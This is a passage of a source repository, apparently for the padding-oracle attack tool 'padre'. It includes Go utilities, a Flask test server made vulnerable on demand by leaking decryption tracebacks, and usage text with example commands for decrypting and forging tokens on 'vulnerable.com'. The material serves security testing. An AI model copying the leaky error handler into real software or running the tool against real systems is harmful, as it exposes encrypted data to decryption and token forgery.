gotCookSlice, tt.wantCookSlice) } }) } } func TestDetectContentType(t *testing.T) { type args struct { data string } tests := []struct { name string args args want string }{ {"json-object", args{"{'a':1}"}, "application/json"}, {"json-array", args{"[{'a':1}]"}, "application/json"}, {"form", args{"a=1&b=2"}, "application/x-www-form-urlencoded"}, {"text", args{"text"}, http.DetectContentType([]byte("text"))}, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { if got := DetectContentType(tt.args.data); got != tt.want { t.Errorf("DetectContentType() = %v, want %v", got, tt.want) } }) } } ================================================ FILE: pkg/util/random.go ================================================ package util import ( "bytes" "container/ring" "math/rand" ) // ring buffer for generating random chunks of bytes var randomRing *ring.Ring func init() { mysteriousData := []byte{ 0x67, 0x6c, 0x65, 0x62, 0x61, 0x72, 0x65, 0x7a, 0x66, 0x65, 0x72, 0x73, 0x69, 0x6e, 0x67, 0x62} randomRing = ring.New(len(mysteriousData)) for _, b := range mysteriousData { randomRing.Value = b randomRing = randomRing.Next() } } // RandomSlice generates random slice of bytes with specified length func RandomSlice(len int) []byte { buf := bytes.NewBuffer(make([]byte, 0, len)) for i := 0; i < len; i++ { buf.WriteByte(randomRing.Value.(byte)) // randomly move ring randomRing = randomRing.Move(rand.Intn(13)) } return buf.Bytes() } ================================================ FILE: pkg/util/random_test.go ================================================ package util import ( "testing" "github.com/stretchr/testify/require" ) func TestRandomSlice(t *testing.T) { var randoms = make([][]byte, 0, 10) // generate some random slices for i := 0; i < 10; i++ { newRandom := RandomSlice(13) // check uniqness require.NotContains(t, randoms, newRandom) randoms = append(randoms, newRandom) } } ================================================ FILE: pkg/util/strings.go ================================================ package util import "strings" // ReverseString returns reverse of a string (does not support runes) func ReverseString(in string) string { out := strings.Builder{} for i := len(in) - 1; i >= 0; i-- { out.WriteByte(in[i]) } return out.String() } ================================================ FILE: pkg/util/strings_test.go ================================================ package util import "testing" func TestReverseString(t *testing.T) { type args struct { in string } tests := []struct { name string args args want string }{ {"normal", args{"1234"}, "4321"}, {"empty", args{""}, ""}, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { if got := ReverseString(tt.args.in); got != tt.want { t.Errorf("ReverseString() = %v, want %v", got, tt.want) } }) } } ================================================ FILE: pkg/util/terminal.go ================================================ package util import ( "os" "github.com/mattn/go-isatty" "github.com/nsf/termbox-go" ) // TerminalWidth determines width of current terminal in characters func TerminalWidth() (int, error) { if err := termbox.Init(); err != nil { return 0, err } w, _ := termbox.Size() termbox.Close() // decrease length by 1 for safety // windows CMD sometimes needs this return w - 1, nil } // IsTerminal checks whether file is a terminal func IsTerminal(file *os.File) bool { return isatty.IsTerminal(file.Fd()) || isatty.IsCygwinTerminal(file.Fd()) } ================================================ FILE: test_server/.dockerignore ================================================ __pycache__/ .pytest_cache/ htmlcov/ venv/ ================================================ FILE: test_server/.gitignore ================================================ __pycache__/ .pytest_cache/ htmlcov/ venv/ ================================================ FILE: test_server/.python-version ================================================ 3.9.2 ================================================ FILE: test_server/Dockerfile ================================================ FROM python:3.9 WORKDIR /usr/src/app COPY requirements.txt ./ RUN pip install --no-cache-dir -r requirements.txt COPY . . EXPOSE 5000 CMD [ "python", "./server.py" ] ================================================ FILE: test_server/README.md ================================================ ## Test server that is (on-demand) vulnerable to Padding Oracle Use for testing purposes. AES only by now ## Config Configuration is done via setting environment variables |Env. variable | if not set | if set | |---|---|---| |VULNERABLE|Server **is not** vulnerable to padding oracle|Server **is** vulnerable to padding oracle| |SECRET|AES key will be generated randomly|AES key will generated from the secret phrase. Use to achieve reproducible outputs between server runs| |USE_GEVENT|Use Flask's built-in Web server|Use gevent's Web server (faster) ## Run #### via Docker Compose ```console docker-compose up ``` #### via Docker ```console docker build -t pador_vuln_server . docker run -it -p 5000:5000 pador_vuln_server ``` #### directly ```console python server.py ``` ================================================ FILE: test_server/app.py ================================================ import functools import hashlib import traceback from flask import Flask, make_response, request from werkzeug.exceptions import HTTPException import crypto import encoder from encoder import Encoding @functools.lru_cache() def AES_key(): secret = app.config.get("SECRET", "default-secret") return hashlib.md5(secret.encode()).digest() app = Flask(__name__) def get_encoding(request): # get encoding (defaults to Base64 if not specified) encoding = request.values.get("enc", None) if encoding is None: encoding = Encoding.B64.name else: encoding = encoding.upper() return encoding # encrypts the plaintext @app.route("/encrypt", methods=["GET", "POST"]) def route_encrypt(): # get plaintext to encrypt plain = request.values.get("plain", None) if plain is None: raise ValueError( "Pass data to encrypt using 'plain' parameter in URL or POST data" ) # encrypt the data (encoded to bytes) cipher = crypto.encrypt(plain.encode(), AES_key()) # get encoding encoding = get_encoding(request) # encode encrypted chunk encoded_cipher = encoder.encode(data=cipher, encoding=Encoding[encoding]) # answer return encoded_cipher, 200 # decrypts the cipher @app.route("/decrypt", methods=["GET", "POST"]) def route_decrypt(): # get ciphertext encoded_cipher = request.values.get("cipher", None) if encoded_cipher is None: raise ValueError( "Pass encoded chipher to decrypt using 'cipher' parameter in URL or POST data" ) # get encoding encoding = get_encoding(request) # decode cipher into bytes cipher = encoder.decode(data=encoded_cipher, encoding=Encoding[encoding]) # decrypt cipher into plaintext plain = crypto.decrypt(cipher, AES_key()) # answer return plain, 200 @app.route("/health") def health(): return "OK", 200 # this is what makes the server vulnerable to padding oracle # it just talks too much about errors # NOTE: to test Padding Oracle detection, every exception's trace is printed # (not just IncorrectPadding) @app.errorhandler(Exception) def handle_incorrect_padding(exc): # pass through HTTP errors if isinstance(exc, HTTPException): return exc # log exception app.logger.error(exc) if app.config.get("VULNERABLE"): # vulnerable response response = make_response(traceback.format_exc(), 500) response.headers["content-type"] = "text/plain" return response else: # non-vulnerable response return "Internal server error", 500 ================================================ FILE: test_server/crypto.py ================================================ import random from Crypto.Cipher import AES from Crypto.Util import Padding def random_bytes(length: int) -> bytes: out = [] for _ in range(length): out.append(random.randint(0, 0xFF)) return bytes(out) class IncorrectPadding(Exception): def __init__(self): super().__init__("Incorrect Padding") def encrypt(data: bytes, key: bytes) -> bytes: # pad data data = Padding.pad(data, 16) # new encryptor encryptor = AES.new(key, AES.MODE_CBC) # return IV + cipher return encryptor.iv + encryptor.encrypt(data) def decrypt(data: bytes, key: bytes) -> str: # tell IV from cipher iv, data = data[:16], data[16:] # fresh encryptor with IV provided encryptor = AES.new(key, AES.MODE_CBC, iv) # decrypt plain = encryptor.decrypt(data) # unpad, decode, return try: return Padding.unpad(plain, 16) except ValueError: raise IncorrectPadding() ================================================ FILE: test_server/docker-compose.yaml ================================================ version: "2.1" services: vuln-server: build: . environment: VULNERABLE: 1 USE_GEVENT: 1 ports: - 5000:5000 ================================================ FILE: test_server/encoder.py ================================================ import binascii as ba from enum import Enum, auto class Encoding(Enum): B64 = auto() # base64 LHEX = auto() # lowercase hex # decodes data def decode(data: str, encoding: Encoding) -> bytes: if encoding == Encoding.B64: x = ba.a2b_base64(data) elif encoding == Encoding.LHEX: x = ba.unhexlify(data) else: raise RuntimeError(f"Unknown encoding {encoding}") return x # encodes binary data as plaintext string def encode(data, encoding: Encoding) -> str: if encoding == Encoding.B64: x = ba.b2a_base64(data).decode()[:-1] elif encoding == Encoding.LHEX: x = ba.hexlify(data).decode() else: raise RuntimeError(f"Unknown encoding {encoding}") return x ================================================ FILE: test_server/requirements.txt ================================================ Flask==2.3.2 gevent==23.9.1 pycryptodome==3.19.1 pytest==6.2.5 pytest-cov==3.0.0 ================================================ FILE: test_server/server.py ================================================ import os from app import app if __name__ == "__main__": # get application config from environment for envvar in ["VULNERABLE", "SECRET"]: if envvar in os.environ: app.config[envvar] = os.environ[envvar] if os.environ.get("USE_GEVENT"): from gevent import monkey monkey.patch_all() from gevent.pywsgi import WSGIServer WSGIServer( ( "0.0.0.0", 5000, ), app.wsgi_app, ).serve_forever() else: app.run("0.0.0.0", 5000) ================================================ FILE: test_server/setup.cfg ================================================ [tool:pytest] testpaths = tests addopts = --cov=. --cov-report=html --cov-report=term python_functions = test_* python_files = *_test.py [coverage:run] data_file = /tmp/.coverage omit = tests/* venv/* server.py branch = True ================================================ FILE: test_server/tests/__init__.py ================================================ # do not delete # needed for pytest ================================================ FILE: test_server/tests/app_test.py ================================================ from argparse import Namespace import pytest, itertools from app import app from encoder import Encoding @pytest.fixture(params=list(Encoding)) def encoding(request): return request.param @pytest.fixture(params=[True, False]) def is_vulnerable(request): return request.param @pytest.fixture(params=["GET", "POST"]) def http_method(request): return request.param @pytest.fixture def secret(): return "secret" @pytest.fixture def client(is_vulnerable, secret): # create app config config = Namespace(VULNERABLE=is_vulnerable, SECRET=secret) # inject config app.config.from_object(config) # create test client return app.test_client() @pytest.fixture def call_route(client, http_method): if http_method == "GET": # apparently werkzeug expects query string to be passed as separated parameter in GET method def get(endpoint, data = None): return client.get(endpoint, query_string=data) return get elif http_method == "POST": return client.post else: raise AssertionError("Not supported HTTP method: %s" % http_method) @pytest.mark.parametrize("plaintext", [""]) def test_app(call_route, plaintext, is_vulnerable, encoding): # send plaintext for encryption resp = call_route("/encrypt", data={"plain": plaintext, "enc": encoding.name}) assert resp.status_code == 200 # get response string cipher = resp.data.decode() # send for decryption resp = call_route("/decrypt", data={"cipher": cipher, "enc": encoding.name}) assert resp.status_code == 200 # compare results deciphered = resp.data.decode() assert deciphered == plaintext # send malformed cipher malformed_cipher = cipher[:-1] resp = call_route("/decrypt", data={"cipher": malformed_cipher}) assert resp.status_code == 500 # check response verbosity if not is_vulnerable: assert resp.data.decode() == "Internal server error" else: assert "Traceback" in resp.data.decode() def test_absent_params(call_route): # no plaintext resp = call_route("/encrypt") assert resp.status_code == 500 # no ciphertext resp = call_route("/decrypt") assert resp.status_code == 500 # no explicit encoding resp = call_route("/encrypt", data={"plain": "test"}) assert resp.status_code == 200 @pytest.mark.parametrize("http_method", ["GET"]) def test_health(call_route): resp = call_route("/health") assert resp.status_code == 200 # @pytest.mark.parametrize("secret", ["padre"]) # def test_reproducible_cipher(call_route, encoding, secret): # print(app.config) # resp = call_route("/encrypt", data={"plain": "padre"}) # assert resp.status_code == 200 # if encoding == Encoding.B64: # assert resp.data.decode() == "P6tHBLB95YWpovay/a34pZNai624TAWLyWNVCMOmImM=" # print(app.config) # elif encoding == Encoding.LHEX: # assert resp.data.decode() == "xxx" ================================================ FILE: test_server/tests/crypto_test.py ================================================ import Crypto.Cipher.AES import pytest import crypto KEY_LENGTH = 16 @pytest.fixture def AES_key(): return crypto.random_bytes(KEY_LENGTH) def generate_plain_variants(): # test all lengths up to AES block_size + 1 for i in range(Crypto.Cipher.AES.block_size + 2): yield crypto.random_bytes(i) @pytest.mark.parametrize("plain", generate_plain_variants(), ids=len) def test_encrypt_decrypt(AES_key, plain): # test normal flow encrypted = crypto.encrypt(plain, AES_key) decrypted = crypto.decrypt(encrypted, AES_key) assert decrypted == plain # test padding error with pytest.raises(crypto.IncorrectPadding): # decrement last byte in encrypted payload # to cause padding error while decrypting encrypted = bytearray(encrypted) # stay in byte-value range if encrypted[-1] > 0: encrypted[-1] -= 1 else: encrypted[-1] = 0xFF crypto.decrypt(bytes(encrypted), AES_key) ================================================ FILE: test_server/tests/encoder_test.py ================================================ import pytest from crypto import random_bytes from encoder import Encoding, decode, encode @pytest.mark.parametrize("value", [random_bytes(i) for i in range(10)], ids=len) @pytest.mark.parametrize("encoding", list(Encoding)) def test_encoding_decoding(value, encoding): encoded = encode(value, encoding) decoded = decode(encoded, encoding) assert decoded == value def test_unknown_encoding(): with pytest.raises(RuntimeError): encode(b"", -1) with pytest.raises(RuntimeError): decode("", -1) ================================================ FILE: usage.go ================================================ package main import ( "regexp" "github.com/glebarez/padre/pkg/color" ) var usage = ` Usage: cmd(padre [OPTIONS] [INPUT]) INPUT: In bold(decrypt) mode: encrypted data In bold(encrypt) mode: the plaintext to be encrypted If not passed, will read from bold(STDIN) NOTE: binary data is always encoded in HTTP. Tweak encoding rules if needed (see options: flag(-e), flag(-r)) OPTIONS: flag(-u) *required* target URL, use dollar($) character to define token placeholder (if present in URL) flag(-enc) Encrypt mode flag(-err) Regex pattern, HTTP response bodies will be matched against this to detect padding oracle. Omit to perform automatic fingerprinting flag(-e) Encoding to apply to binary data. Supported values: b64 (standard base64) *default* lhex (lowercase hex) flag(-r) Additional replacements to apply after encoding binary data. Use odd-length strings, consiting of pairs of characters . Example: If server uses base64, but replaces '/' with '!', '+' with '-', '=' with '~', then use cmd(-r "/!+-=~") flag(-cookie) Cookie value to be set in HTTP requests. Use dollar($) character to mark token placeholder. flag(-post) String data to perform POST requests. Use dollar($) character to mark token placeholder. flag(-ct) Content-Type for POST requests. If not specified, Content-Type will be determined automatically. flag(-b) Block length used in cipher (use 16 for AES). Omit to perform automatic detection. Supported values: 8 16 *default* 32 flag(-p) Number of parallel HTTP connections established to target server [1-256] 30 *default* flag(-proxy) HTTP proxy. e.g. use cmd(-proxy "http://localhost:8080") for Burp or ZAP bold(Examples:) Decrypt token in GET parameter: cmd(padre -u "http://vulnerable.com/login?token=$" "u7bvLewln6PJ670Gnj3hnE40L0SqG8e6") POST data: cmd(padre -u "http://vulnerable.com/login" -post "token=$" "u7bvLewln6PJ670Gnj3hnE40L0SqG8e6") Cookies: cmd(padre -u "http://vulnerable.com/login$" -cookie "auth=$" "u7bvLewln6PJ670Gnj3hnE40L0SqG8e6") Encrypt token in GET parameter: cmd(padre -u "http://vulnerable.com/login?token=$" -enc "EncryptMe") ` func init() { // add some color to usage text re := regexp.MustCompile(`\*required\*`) usage = string(re.ReplaceAll([]byte(usage), []byte(color.Yellow(`(required)`)))) re = regexp.MustCompile(`\*default\*`) usage = string(re.ReplaceAll([]byte(usage), []byte(color.Green(`(default)`)))) re = regexp.MustCompile(`cmd\(([^\)]*?)\)`) usage = string(re.ReplaceAll([]byte(usage), []byte(color.Cyan("$1")))) re = regexp.MustCompile(`dollar\(([^\)]*?)\)`) usage = string(re.ReplaceAll([]byte(usage), []byte(color.CyanBold("$1")))) re = regexp.MustCompile(`flag\(([^\)]*?)\)`) usage = string(re.ReplaceAll([]byte(usage), []byte(color.GreenBold("$1")))) re = regexp.MustCompile(`link\(([^\)]*?)\)`) usage = string(re.ReplaceAll([]byte(usage), []byte(color.Underline("$1")))) re = regexp.MustCompile(`bold\(([^\)]*?)\)`) usage = string(re.ReplaceAll([]byte(usage), []byte(color.Bold("$1")))) }